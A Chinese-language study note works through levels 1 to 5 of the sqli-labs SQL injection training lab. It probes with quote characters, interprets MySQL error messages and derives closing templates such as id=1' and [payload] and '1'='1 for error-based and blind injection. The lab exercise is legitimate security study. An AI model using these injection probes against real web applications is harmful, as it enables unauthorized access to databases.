【SQL注入之sqli-labs】Less 1 - Less 5 练习笔记

【SQL注入之sqli-labs】Less 1 - Less 5 练习笔记

0x00 部署sqli-labs

这部分相信大部分人都会了,我简单推荐一种简单的组合

wamp 实现一键部署,其中包含PHP环境
navicat 导入数据

这里悄悄的给出一种作弊的方法,就是在每句SQL语句后面:

echo $sql. '
'
;

如果是练习盲注的同学还是老老实实按照不作弊的方式来。

0x01 开始练习

Less 1

id=1'
id=1"

单引号

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 

双引号没有报错
这里的’可以直接得出,他是基于单字符的SQL语句,我们尝试闭合他。

这里双引号为什么没有报错呢?

我们采用白盒(作弊)的方式去解释:

SELECT * FROM users WHERE id='1"' LIMIT 0,1

可以看到我们的1”被当做参数直接去调用了,不存在语法错误。

SELECT * FROM users WHERE id='1'' LIMIT 0,1

而当为单引号的时候,参数1’提早闭合了’1’那么后面的’就会报错。

我们看到后面的单引号’是多出来的,我们尝试闭合。

尝试最经典的检测方法

id=1' and '1'='1
id=1' and '1'='2

1-1
【SQL注入之sqli-labs】Less 1 - Less 5 练习笔记_第1张图片

1-2
【SQL注入之sqli-labs】Less 1 - Less 5 练习笔记_第2张图片

最经典的的注入的现象。

最后得出payload

id=1' and [payload] and '1'='1

Less 2

Less 2比Less 1还简单,在Less 1的基础上,我们直接得出

payload:

id=1 and [payload] and 1=1

Less 3

id=1'

出现的报错如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 

可以看出,这里的的参数可能是使用如下这种格式的:

SELECT * FROM users WHERE id=('1');

我们使用之前讲到的方法也验证的如上的说法。

首先我们要做的就是闭合这个(,尝试如下:

id=1') and (1=1

结果为:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1

可以看出)的前面有个’,所以我们还要闭合这个单引号,最后就变成了。

id=1') and ('1'='1
id=1') and ('1'='2

尝试后均没有报错,得出payload:

id=1') and [payload] and ('1'='1

Less 4

这次是双引号出现报错:

id=1"

出现如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

这题和Less 3很相似,唯一不同的点就是Less 3中需要被闭合的是单引号,而4中是双引号,最后尝试构造如下:

id=1") and ("1"="1
id=1") and ("1"="2

测试成功,得出payload:

id=1") and [payload] and ("1"="1

Less 5

Less 5的答案很简单,但是他没有显示出数据,但还是可以基于报错去判断和构造SQL语句。
尝试1:

id=1'

报错内容:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

直接按照常规的方法去构造:

id=1' and '1'='1
id=1' and '1'='2

相应的结果对比:
【SQL注入之sqli-labs】Less 1 - Less 5 练习笔记_第3张图片

【SQL注入之sqli-labs】Less 1 - Less 5 练习笔记_第4张图片

其中输出的SQL语句为作弊专用。

还好是存在报错提示,不然如果出现这样没有显示数据的情况,很难判断是否已经被可以被注入了。

我们来看一下代码确认一下:

if($row)
    {
    echo ''; 
    echo 'You are in...........';
    echo "
"
; echo "
"; } else { echo ''; print_r(mysql_error()); echo "
"; echo ''; }

可以确定的是,SQL语句结果为最后为True或者False都不显示数据。
判断的条件是是否出现You are in………..这句话。
因为如果语法错误的话,直接回抛出相应的SQL报错。
那么我们就放心的构造payload:

id=1' and [payload] and '1'='1

0x03 总结

  1. 使用’和”尝试是否出现报错。
  2. 如果出现报错则为报错型SQL注入,如没有报错则进行盲注。
  3. 报错中如果出现) ‘) “)等,则进行相应的闭合即可。
  4. 熟练掌握SQL语句,学会如何闭合SQL语句。

0x04 参考文章

http://blog.csdn.net/u012763794/article/details/51207833

你可能感兴趣的:(Web渗透)